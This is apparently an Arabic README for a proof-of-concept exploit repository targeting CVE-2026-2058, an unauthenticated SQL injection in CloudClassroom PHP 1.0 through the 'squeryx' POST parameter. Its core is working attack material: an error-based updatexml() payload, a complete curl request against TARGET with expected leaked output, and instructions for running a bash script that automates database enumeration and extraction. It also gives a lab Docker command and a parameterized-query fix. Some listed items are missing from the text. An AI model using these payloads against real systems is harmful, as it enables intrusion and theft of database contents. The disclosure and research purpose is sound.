
إثبات مفهوم لاستغلال CVE-2026-2058، وهو حقن SQL في مشروع CloudClassroom PHP، مع تعداد تلقائي لقاعدة البيانات واستخراج البيانات.
توجد ثغرة حقن SQL في وظيفة استعلام المشاركات (Post Query) في مشروع CloudClassroom PHP (الإصدار 1.0).
تسمح الثغرة للمهاجمين بحقن أوامر SQL عشوائية عبر معامل POST المسمى squeryx، مما يؤدي إلى تعداد قاعدة البيانات واستخراج البيانات.
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال الثغرة يوضح كيفية إساءة استخدامها لاستخراج بيانات حساسة من قاعدة البيانات الخلفية.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-2058 |
| نوع الثغرة | حقن SQL |
| CWE | CWE-89 |
| البرنامج المتأثر | مشروع CloudClassroom PHP |
| الإصدار المتأثر | 1.0 |
| المكوّن | وظيفة استعلام المشاركات |
| ناقل الهجوم | عن بُعد |
| المصادقة المطلوبة | لا |
| التأثير | كشف قاعدة البيانات |
| الخطورة | عالية |
| مرجع نمط الهجوم | CAPEC-66 |
POST /postquerypublic
squeryx
يقوم الكود الخلفي بدمج إدخال المستخدم مباشرة في استعلام SQL دون تنقية مناسبة أو استخدام استعلامات معلمة.
مثال على الكود المعرض للثغرة:
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";
نظرًا لأن $tempsquery مشتق من إدخال المستخدم، يمكن للمهاجمين حقن SQL عشوائي.
لأغراض الاختبار والبحث، تتوفر بيئة Docker متأثرة بالثغرة.
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0
يمكن استغلال الثغرة باستخدام تقنية حقن SQL القائم على الأخطاء بالاستفادة من دالة updatexml() في MySQL.
مثال على الحمولة:
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
مثال على طلب curl:
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"
الاستجابة المتوقعة:
XPATH syntax error: '~cc_db~'
يتضمن هذا المستودع سكربت استغلال بلغة bash يقوم تلقائيًا بـ:
chmod +x cloudclassroom_sqli_exploit.sh
./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic
مثال:
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic
يمكن للمهاجم:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L⚠️ ملاحظة: تختلف درجة CVSS في NVD عن درجة CNA (VulDB) بسبب اختلاف تقييمات التأثير.
يقدر نظام تسجيل توقع الاستغلال (EPSS) احتمالية استغلال الثغرة في البيئات الحقيقية.
| CVE | احتمالية EPSS | النسبة المئوية | التاريخ |
|---|---|---|---|
| CVE-2026-2058 | 0.00028 | 7.62 % | 2026-03-01 |
المصدر: مجموعة بيانات FIRST EPSS
يجب على المطورين:
مثال على التنفيذ الآمن:
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();
تم توفير هذا الاستغلال لأغراض تعليمية وبحثية فقط.
المؤلف غير مسؤول عن إساءة الاستخدام أو الأضرار الناجمة عن هذا الكود.
bl4dsc4n
باحث أمني